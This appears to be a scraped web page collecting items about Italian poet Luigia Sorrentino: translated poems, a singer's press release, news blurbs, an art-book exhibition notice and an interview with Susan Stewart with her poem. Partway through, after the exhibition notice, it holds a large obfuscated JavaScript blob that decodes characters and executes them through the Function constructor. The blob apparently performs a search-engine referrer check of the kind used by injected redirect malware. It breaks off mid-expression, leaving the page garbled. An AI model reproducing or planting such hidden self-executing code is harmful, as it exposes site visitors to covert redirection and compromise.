#Luigia-Sorrentino
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Traslocare dentro un'altra lingua. Portare soltanto piatti e bicchieri per mangiare. Affacciarsi alla finestra trovarsi il mare sulla destra.
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Luigia Sorrentino
“even higher …”
even higher among the oaks there is nothing but oaks we are even closer to the heavens because no one has reached her end before dying on those ruins we saw what of ourselves is scattered and lost
—Translated from the Italian by Gray Sutherland
From Paris Review issue no. 206 (Fall 2013)
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MariaN - “Giri di Parole”
Il nuovo singolo della talentuosa artista sui principali stores digitali e nelle radio italiane
Esce “Giri di Parole” il nuovo singolo della cantante MariaN sui principali stores digitali e dal 23 giugno nelle radio italiane in promozione nazionale.
Il brano racconta, attraverso il punto di vista della ragazza, una storia d’amore tossica. Lei ricorda di essere stata ingenua nell’aver dato fiducia ad una persona che le ha fatto perdere tanto tempo, impedendo al loro legame di crescere (“non ci siamo mossi mai”) e di diventare più profondo. Si descrive come una giovane donna impulsiva (“per chi punta tutto e va”) che ha messo da parte tutto per buttarsi in questa relazione che poi si è rivelata dolorosa, piatta e priva di emozioni positive dato che lui continuava a ripetere gli stessi errori, giustificandoli con i soliti giri di parole ai quali non crederebbe più nessuno. Finalmente, dopo tanta sofferenza, si accorge di non volere accanto qualcuno che la faccia sentire profondamente vuota (“non ti farò più entrare”) e decide di allontanarsi in silenzio senza sprecare ulteriori parole. Ha compreso che non sentirà la mancanza di una persona che non è mai stata in grado di amarla veramente.
Storia dell’artista
Sono Roberta Mariani, in arte MariaN, nata a Vigevano il 14 ottobre del 1993. Sono sempre stata appassionata di musica ma non avevo possibilità di studiare, per questo ho iniziato a prendere lezioni solamente nel 2014 quando mi sono iscritta al corso di canto moderno presso “Una Città Per Cantare, la scuola di musica di RON” con sede a Vigevano. Nel 2015 ho partecipato in qualità di corista allo Spettacolo Lirico Teatrale “L’Elisir D’Amore” di Fabio Buonocore, insegnante conosciuto presso la scuola di RON. Dal 2016 al 2020 mi sono iscritta al corso di canto moderno presso l’Associazione Culturale e Ricreativa “After Life Music Dimension” di Vigevano e ho fatto parte del gruppo di musica d’insieme “The Shuffle Show” col quale ho potuto sperimentare l’approccio sul palcoscenico e numerose esibizioni live in pub, locali e presso la Casa Circondariali dei Piccolini. Ho inoltre cantato durante alcuni matrimoni con gli insegnanti dell’associazione.
Nel 2018 e nel 2019 ho preso parte, in qualità di cantante, agli spettacoli “Uomo” e “Sounds, I Suoni della Vita” di Kabuki Dance Project, progetto coreografico di danza contemporanea che si avvale della collaborazione di cantanti e musicisti. Dal 2021 ad oggi studio canto moderno presso “NAM Milano”, Scuola di Musica di Milano presso la quale ho avuto anche un primo approccio alle materie teoriche quali teoria e solfeggio, armonia, logopedia, pianoforte complementare (livello base) ecc.
Dal 2022 sono socia dell’Associazione Culturale di Musica Latino-americana “Caribe & Brazil” di Vigevano, presso la quale svolgo il ruolo di cantante e con la quale mi esibisco in locali, piazze, festival. Dal 2023 ho ricominciato (nel 2020 avevo già avuto il piacere di fare alcune lezioni private di canto con lei) a prendere lezioni private di canto da Elena Necchi, cantante e pianista (è stata allieva di Paola Folli) che vanta vent’anni di esperienza di musica live e che, nel 2019, è stata selezionata come corista per la tournée di J-Ax.
Il 9 giugno 2023 sono diventata la cantante solista della band “Hate & Love” con la quale proponiamo musica dance-pop dagli anni 70 ai giorni nostri e ci esibiamo in locali, piazze, festival, feste private. Sono stata socia della “Cooperativa Teatroincontro” di Vigevano: l’esperienza è iniziata con la partecipazione ad un campus gratuito di teatro realizzato dalla cooperativa, con la direzione artistica dei laboratori di Mimmo Sorrentino e la collaborazione di Angela Amalfitano, Serena Senigaglia, Alessandra Faiella, Giorgio Ganzerli. Successivamente al laboratorio ho preso parte, in qualità di attrice, ai seguenti spettacoli teatrali: “La storia di Carlo e Luigia”, nel 2011, “Urgenza d’amore” nel 2012, “Lo stato credibile” nel 2012, “Mercateatro” nel 2013, “L’indicibile” nel 2017 e “Dammi solo un minuto” nel 2018.
Ho collaborato con la “Cooperativa Teatroincontro” per la realizzazione di progetti di Teatro Sociale all’interno del Carcere di Vigevano, Casa Circondariali dei Piccolini, lavorando con le detenute del reparto di Alta Sicurezza. Nel 2020 ho conseguito la laurea triennale in “Comunicazione, Innovazione e Multimedialità” presso l’Università Degli Studi Di Pavia. Nel tempo libero, oltre ad ascoltare musica e ad imparare passi di coreografie moderne seguendo video online, mi piace fare trekking in campagna o in montagna. Stare in mezzo alla natura mi rilassa profondamente. Mi piace molto leggere e scrivere bozze di testi per canzoni o semplicemente pensieri ed emozioni provate. Ascoltare musica è di grande ispirazione per la stesura di tutto ciò. Adoro sorseggiare Tè e tisane, sia in estate che in inverno; mi fanno impazzire i dolci, il cioccolato in particolare, il sushi, la pizza!
Spotify: https://open.spotify.com/track/76VSwOFBCsuIzPMbgzfbXn
Instagram: https://www.instagram.com/roberta_m1993/
Facebook: https://www.facebook.com/19Roberta93
Simona Ubbiali: http://www.quellicomenoi.com/
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Researching Puglia, Campania, Molise and Calabria
Researching Puglia, Campania, Molise and Calabria
Phil Apollo interviews author, podcaster and blogger Bob Sorrentino about his new book “Farmers and Nobles”. Farmers and Nobles traces the research path of blogger and podcast host Bob Sorrentino. Bob began researching his family roots in 2008 beginning with his great-grandfather’s calling card brought from Italy by his paternal grandmother Maria Luigia Piromallo. In 2018, he decided to share his…
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The City of Women Award to Elisabetta Sgarbi and Boldrini
The City of Women Award to Elisabetta Sgarbi and Boldrini
(ANSA) – ROME, DEC 13 – The publisher Elisabetta Sgarbi, the writer Nadia Terranova, the poetess Luigia Sorrentino, the journalist Tiziana Ferrario, the writer and radio presenter Loredana Lipperini and the former president of the Chamber Laura Boldrini: are the winners of the first edition of the “Le Città delle Donne” Award. The award ceremony will take place on Thursday 16 December at 6.00 pm…
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#culture#editorial series#Elisabetta-Sgarbi#Laura-Boldrini#Loredana-Lipperini#Luigia-Sorrentino#Nadia-Terranova#Tiziana-Ferrario
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“we had climbed up the mountain…”
we had climbed up the mountain
towards the colossal figure of the temple
now reduced to ruins
after the terrible battle everything had vanished
death had opened
one of us had abandoned the soil
we no longer searched for anything
in the blue half-light of the woods
someone will see it as we have
the fallen hero in the stone
in fresh clarity
—by luigia sorrentino. translated by gray sutherland
source: the paris review
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Solidarietà a Luigia Sorrentino per la chiusura del blog "Poesia"!
Solidarietà a Luigia Sorrentino per la chiusura del blog “Poesia”!
Contro l’arroganza di chi decide arbitrariamente cosa è “utile” e cosa non lo è più, cosa può restare aperto e cosa è meglio chiudere (o ridimensionare), quali luoghi seppur virtuali incentivare e quali cancellare con un cinico clic dopo anni di servizio, di lavoro certosino, di ricerca e di diffusione della cultura poetica; contro la “cultura dello scarto” applicata alla Poesia, ho pensato, come…
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A Talk with Poet Golan Haji: 'Languages Never Draw Geographical Boundaries'
A Talk with Poet Golan Haji: ‘Languages Never Draw Geographical Boundaries’
At the end of the year, we are re-running a few of our favorite poems and interviews. Syrian Kurdish poet Golan Haji’s A Tree Whose Name I Don’t Know appeared in English in 2017, co-translated by the author and Stephen Watts. Around that time, Haji responded to questions by the Italian poet Luigia Sorrentino and the Iranian poet Azita Ghahreman. We re-run it today. * Haji is a is a…
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GIULIA NAPOLEONE / Il segno e la poesia, 25 libri d’artista di Giulia Napoleone in mostra alla Biblioteca cantonale di Lugano
COMUNICATO STAMPA
Biblioteca cantonale di Lugano
Giovedì 27 maggio 2021
Ore 18.00
Inaugurazione della mostra:
Giulia Napoleone
Il segno e la poesia.
25 libri d’artista di Giulia Napoleone
Da tempo un legame di amicizia lega la Biblioteca cantonale di Lugano a Giulia Napoleone. L’artista è già stata infatti ospitata in passato in questi spazi con alcune opere. Del resto, col suo lavoro di meditazione sulla pagina scritta e sulla parola, si pone in linea perfetta con le scelte espositive dell’istituto che, negli ultimi anni, mirano a indagare questo particolare aspetto della creatività.
Da queste considerazioni è nato il desiderio di collaborare in vista della realizzazione di una mostra. Giulia Napoleone ha così appositamente creato per la Biblioteca cantonale di Lugano 25 libri d’artista. Giulia ha scelto una serie di poeti, inserendo in queste nuove meditazioni molti dei suoi consueti compagni di viaggio e numerosi altri amici, tra cui diversi ticinesi: Adonis, Annelisa Alleva, Antonella Anedda, Marco Caporali, Maria Clelia Cardona, Massimo Daviddi, Roberto Deidier, Milo De Angelis, Biancamaria Frabotta, Gilberto Isella, Maria Gabriela Llansol, Fabio Merlini, Pietro Montorfani, Alberto Nessi, Elio Pecora, Yves Peyré, Giancarlo Pontiggia, Fabio Pusterla, Roberto Rossi Precerutti, Rocco Scotellaro, Luigia Sorrentino, Brunello Tirozzi, Maria Rosaria Valentini, Marco Vitale, Simone Zafferani.
Sono nati così gli splendidi libri d’artista esposti a Lugano per la prima volta, una collezione di opere che si distinguono per varietà di formato e soggetti, la cui unicità risiede principalmente nel fatto che Giulia Napoleone non ha soltanto realizzato le immagini, ma ha anche composto le pagine, individuato e trascritto i versi, scelto con cura gli elementi fisici – carta, matite, inchiostri… – che dovevano accompagnarla in questo lavoro. Questi elementi influiscono infatti in modo determinate sul risultato finale, non soltanto negli aspetti più evidenti, ma anche nei flussi più impercettibili che chiedono di essere riconosciuti da una osservazione più attenta. Accanto ai libri d’artista, spiccano anche 8 tavole sciolte, di ampio formato e forma tonda, realizzate in china su carta prodotta da Franco Lafranca di Locarno. Si tratta degli “omaggi” che Giulia Napoleone ha voluto dedicare ad alcuni poeti: Roberto Deidier, Gilberto Isella, Maria Gabriela Llansol, Fabio Merlini, Alberto Nessi, Yves Peyré, Fabio Pusterla, Marco Vitale.
Interverranno:
Giulia Napoleone
Artista
Luca Pietro Nicoletti
Ricercatore di storia dell’arte, Università di Udine
Luca Saltini
Biblioteca cantonale di Lugano.
Info presso:
Biblioteca cantonale Viale Carlo Cattaneo 6 6901 – Lugano (TI) (Svizzera)
https://www.sbt.ti.ch/bclu/ Segreteria
Tel. +41 91 815 46 11
Mail [email protected]
evento segnalato da Archivio Ophen Virtual Art di Salerno
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,55,57,53,48,122,51,52,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,65,44,58,37,62,125);_=([![]]+)[+!+[]+[+[]]]+([]+[]+)[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+)[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+)[+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+)[+!+[]]+([]+[]+)[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+)[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+)[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+)[+!+[]]+([]+[]+)[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+)[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+)[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+)[+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![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Traslocare dentro un'altra lingua. Portare soltanto piatti e bicchieri per mangiare. Affacciarsi alla finestra trovarsi il mare sulla destra.
Luigia Sorrentino
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Susan Stewart, la regina della lirica Usa: “In questi tempi oscuri, la poesia è luce”
Di bronzo e di vento. Sono così i versi di Susan Stewart. Incisi sul dorso pleistocenico della Storia. Eppure. Con quel fiato leggero che li stringe. Foglie di bronzo. Parole di Sfinge e di Sibilla. Indelebili e fragili.
Susan Stewart, photo Annette Hornischer, American Academy in Berlin.
Lo sa chi ha frequentato l’opera di uno tra i più alti poeti americani contemporanei, non tanto per la sfilza di premi (oltre al National Book Critics Award, il Truman Capote Award per la critica letteraria, ad esempio) e di riconoscimenti (insegnante alla Princeton University, è chancellor dell’Academy of American Poets), ma per i versi, vertiginosi, in picchiata, famelici, radunati in due volumi ormai di culto Colombarium (Ares, 2006) e Red Rover (Jaca Book, 2011). “Le sue poesie, viste nel loro assieme, si presentano come meditazioni liriche, come avventura del pensiero di una che non sa se si muove o no nel cerchio magico di rimandi e tracce e in un labirinto di specchi, ma vuole ardentemente sapere la verità”, ha scritto di lei Giuseppe Mazzotta. Con disinvoltura lirica, in effetti, la Stewart passa – come movenze che ricordano Charles Wright o Wallace Stevens – da una poemetto sulla Macellazione – di feroce incanto – a quella fioriera di luci che è Il deserto 1990-1993, puramente eliotiana (“Colui che è stato toccato/ è diventato tatto e forma; colui che è venuto/ nella luce, è divenuto luce/ e movimento; colui che si è riversato/ nel suono, è diventato parola del silenzio;/ mandato in mezzo al tempo, è diventato tempo che emerge.// Mentre il passato si accresce, il futuro diminuisce/ e la paura assume i tratti dell’amore”). Più prosaicamente, la Stewart è tra i grandi poeti di oggi, i rari titani che reggono il tempo contro l’idiozia del presente, l’idolatria dell’indegno. Legata alla poesia italiana – ha tradotto i versi, abbaglianti, del pittore Scipione e Alda Merini, sta traducendo Milo De Angelis – la Stewart è poeta che non ha paura del peso della cultura né del knock-out dell’ispirazione. In una mail privata le ho scritto, grosso modo, che se i poeti, in Italia, troppo spesso, sono come le mosche che ruotano intorno al proprio ronzio ossessivo, alla litania dell’io, lei è un’aquila. Il poeta non deve avere timore della narrazione larga, degli spazi amplissimi; deve sfidare il sole e il verbo del potere. Classe 1952, la Stewart ha appena pubblicato, per Gratwolf Press la sua ultima raccolta, Cinder. New and Selected Poems (pp.256, $ 25.00). In calce all’intervista, per gentile concessione – e per la traduzione di Maria Cristina Biggio, che ne cura l’opera in Italia – un testo inedito, Piano Music for a Silent Music. Riguardo alla poesia, così scrive la Stewart: “è una rivisitazione del Diavolo in corpo, il romanzo di Raymond Radiguet, che ho conosciuto anche attraverso il bel film di Marco Bellocchio. Ho scritto il poema in un periodo in cui sperimentavo nuove forme narrative; ho pensato che sarebbe stato intrigante lasciare che un poema traesse un ‘film’ dal romanzo, proprio come fa il film di Bellocchio”. E noi, precipitiamo nella luce.
Che tipo di poesia ‘funziona’ oggi negli Stati Uniti?
“A mio avviso – da quello che leggo sui giornali e sulle riviste e dai libri che mi passano sotto mano per la collana poetica che curo per la Princeton University Press – molti poeti statunitensi scrivono poesie brevi, molto spesso in prima persona, narrando esperienze personali. Il verso libero è più comune del verso in rima. Le forme complesse, l’uso delle forme poetiche tradizionali, è più difficile da trovare. Ma i poeti stanno realizzando qualcosa di nuovo nel poema in prosa, che contempla lavori sottilmente etnografici. Molti libri recenti sono organizzati intorno a concetti o temi – un periodo storico o un evento, una voce particolare o una particolare prospettiva, un aspetto della grammatica. Altri poeti stanno esplorando i modi teatrali della lettura poetica. C’è una grande energia nella poesia americana; la nostra cultura poetica è arricchita dalle enormi differenze geografiche tra le nostre regioni, dai disparati stili e toni delle nostre città, dalle mutevoli esperienze che i poeti di ogni generazione innervano nel loro lavoro. La lingua stessa è un intruglio genuino di toni alti e bassi, di vecchie e nuove espressioni – quella gamma poetica, insomma, che si avverte nelle nostre poesie”.
Che tipo di poesia sta scrivendo, ora? Verso quale ricerca poetica si sta inoltrando?
“L’anno scorso ho scritto un lungo poema (25 pagine) intitolato Channel, che ha seguito il corso di un nuovo fiume planetario, dalla sua scaturigine, in una alcova in mezzo al mare – dall’Atlantico a Siracusa, rileggendo la leggenda della fonte Aretusa e muovendo attraverso il passaggio dalla stagione invernale alla primavera. La poesia è diventata un’opera d’arte, realizzata con la mia amica Ann Hamilton (che si può vedere qui). Il lavoro è stato pubblicato sulla Paris Review. Dopo quella scrittura, sono tornata a piccole poesie che si basano sull’ascolto dei suoni quotidiani – una specie di musica candida. Non sono certa che siano testi riusciti, ma tutto questo lavoro confluirà nella mia prossima raccolta di poesia. Intanto, sto facendo molte letture tratte dal mio nuovo libro, Cinder. New and Selected Poems, pubblicato quest’anno da Graywolf Press”.
Quali sono i suoi maestri, le sue fonti di ispirazione? So che ha tradotto, tempo fa, lo straordinario poeta e pittore italiano Scipione, come mai?
“Ho tradotto la prosa e la poesia del grande pittore Scipione con la mia amica, la filosofa Brunella Antomarini, più di un decennio fa. Nel frattempo, ho tradotto e pubblicato un libro di poesie di Alda Merini, e sto traducendo, con Patrizio Ceccagnoli, le poesie di Milo De Angelis. Abbiamo pubblicato Tema dell’addio e abbiamo da poco terminato di lavorare su Incontri e agguati. Io e Patrizio abbiamo recentemente fatto alcune traduzioni da Sandro Penna, che sono apparse su Nuovi Argomenti. L’opera di Leopardi, Montale e Ungaretti è stata importante per me e io ammiro molti poeti italiani contemporanei, Patrizia Cavalli, Luigia Sorrentino, Valerio Magrelli e Antonella Anedda, ad esempio. La lingua italiana ha mezzi diversi per la poesia da quella inglese, e indagare le differenze può essere fonte di ispirazione. La poesia italiana – o meglio, la poesia europea – non è molto conosciuta negli Stati Uniti, oggi. Né la poesia contemporanea di altre parti del mondo, inclusa la poesia britannica e quella australiana. Ma molti di noi stanno modificando questo atteggiamento – attraverso traduzioni, interviste, e aiutando gli ospiti ogni volta che possiamo avere tempo e risorse. Per quanto riguarda le mie influenze, io insegno storia della poesia inglese e il mio lavoro è legato in special modo al XVII secolo e alla poesia Romantica. Donne, Herbert e Marvell, Coleridge, Keats e Wordsworth sono influenze vitali, così come i Modernisti e i loro seguaci – Moore, Bishop, T. S. Elio, H.D., Williams, Pound, Duncan, Ammons. Tra i poeti viventi sono stata vicina a Susan Howe, John Koethe, John Ashbery, Allen Grossman e Eleanor Wilner”.
Qual è il futuro della critica letteraria?
“Attualmente, sono impegnata più nell’insegnamento che nella critica, ma io credo che i poeti abbiano un ruolo importante nel formare il gusto del proprio tempo. Possiamo scrivere dell’opera che abbiamo ammirato, che ancora amiamo, aiutando a costruire un nuovo pubblico per essa – ogni opera importante introduce nuovi modi di leggere e io mi affido alla critica letteraria, come lettore e come professionista, per estendere il mio giudizio e la mia sensibilità. In questo senso, la critica può essere un efficace antidoto alla proliferazione dei ‘like’ e delle ‘starlette’ dei social – gesti vuoti che ci riducono a meri consumatori. Le riviste nazionali popolari e i quotidiani negli Stati Uniti hanno fatto poca critica poetica e il numero di pubblicazioni e di uscite è stato piuttosto misero nel recente passato. Ma Internet ha aperto la possibilità di raggiungere lettori, e proprio l’anno scorso ho cominciato a notare che si sta instaurando un modo più sofisticato e complesso, nelle sedi popolari, di discutere di poesia. Non abbiamo le ampie pagine culturali nei quotidiani che avete in Italia (e in Francia e Germania), ma forse questa situazione potrebbe lentamente cambiare, specialmente con il declino del cinema e della musica commerciali, che hanno dominato spesso la cultura popolare americana”.
Che valore ha il poeta, oggi, nella vita civile? Che voce porta il poeta nella cultura americana?
“I poeti americani vivono per la maggior parte nell’oscurità – come sempre di più fanno gli scrittori di letteratura seria. I nostri politici o i potenti non si vergognano di non sapere nulla di poesia – o di arte, di musica, di cultura in generale. C’è un crescente anti-intellettualismo nel circoli della destra e una corrispondente reificazione dei termini da parte della sinistra. Così, le piccole librerie o le biblioteche locali non possono prosperare e diversi poeti americani si organizzano in comunità – spesso in città e regioni specifiche, come San Francisco, Los Angeles, Austin, Minneapolis, New York, la mia città, Philadelphia, e nelle aree rurali del Nuovo Messico, del Vermont, del Maine. Questa è una lista incompleta, ma il punto è che i poeti si cercano, organizzano letture e convegni – e generazioni di insegnanti e di studenti si incontrano, soprattutto nei college e nelle università, per creare eventi di poesia. Molti di noi sono impegnati nell’insegnamento e nella lettura di poesie nelle scuole elementari, nelle prigioni, negli ospedali, nelle case per anziani e in altre sedi. Non è inusuale che un poeta collabori con artisti e compositori. La poesia sopravvive perché è un modo ampio, spazioso per pensare, che coinvolge tutto il nostro essere. Il nostro lavoro come poeti non dovrebbe inibire i compiti che abbiamo come cittadini – promuovere la verità, avvalorare la democrazia, stabilire la giustizia. In questi tempi oscuri, la poesia è una forma di luce”.
*
Piano Music for a Silent Movie
The gossips whisper their reproaches—
was it my fault I was too young for the war?
A muddy rain spoils every picnic,
but the fields are thirsty, the farmers are poor.
My talent lies in kissing and pretending,
and climbing barefoot up a trellis in the dark.
The neighbors are sharpening their pitchforks,
though no one dares to tell us. In the park
I found her note pinned to a linden,
her hair-ribbon snagged in a pine
–All the world worries a lover
when all the world seems like a sign.
I crossed the weedy river
and floated along to her door.
She promised me a portrait of the roses:
Forever Pearl, and Malakoff’s Tour,
Gloire de Dijon, and Maréchal,
the Souvenir of Malmaison;
I promised her nothing but trouble–
my être had no raison.
Her hens pecked the grain from my pockets;
her cat ate the butterfat.
You needed a coupon for coffee, so I
brought her some cherries in my hat.
She stowed her watercolors in the rowboat–
I threw my books in the stern;
The oars dripped blue across our shoes
and we banked in a bed of ferns.
The crazy maid shattered the porch roof
while the merry-go-round never stopped.
Cannon pounded in the distance
(or was it thunder?)–every ear felt the pop.
As for us, we were always falling, deeper
than the tides and the moon,
Deeper than the quarry and the well,
and the shadows that hide at noon.
All this frenzy set the cocks a-crowing–
she let me pick a table and a chair,
The olive-wood glowed to embers:
she let me let down her hair.
“I kissed his ear and his elbow,” she sang,
and the silky side of his thigh.
I kissed his knees, I kissed his lips
and then he waved goodbye.”
Our little spirit flitted,
as fast and light as a moth.
“Shameful,” they said, “unlawful
–a troth, in the end, is a troth.”
Love is a lapse and lovers liars,
the father weeps, the mother sighs.
The wagons are circling
below the bedroom floor.
One laughs too much,
the other cries.
The honeysuckle lost its honey
and the hens took their grain indoors.
Frost leveled the ferny banks
and ice grew thick on the oars.
I saw her face in the water.
I saw his face in the glass.
Some of us live in the present,
and some of us live in the past,
But it’s the bootblacks marching toward the future
who trample the summer grass.
The gossips whisper their reproaches–
was it my fault I was too young for the war?
A muddy rain spoils every picnic,
but the fields are thirsty, the farmers are poor.
Musica al piano per un film muto
Le voci bisbigliano le loro rimostranze—
colpa mia se ero troppo giovane per la guerra?
Una pioggia torbida rovina ogni picnic,
ma i campi sono assetati, i contadini poveri.
Il mio talento sta tutto nel baciare e nel fingere,
e nell’arrampicarmi a piedi nudi su un graticcio al buio.
I vicini stanno affilando i loro forconi,
anche se nessuno osa dircelo. Nel parco
trovai il biglietto di lei appuntato a un tiglio,
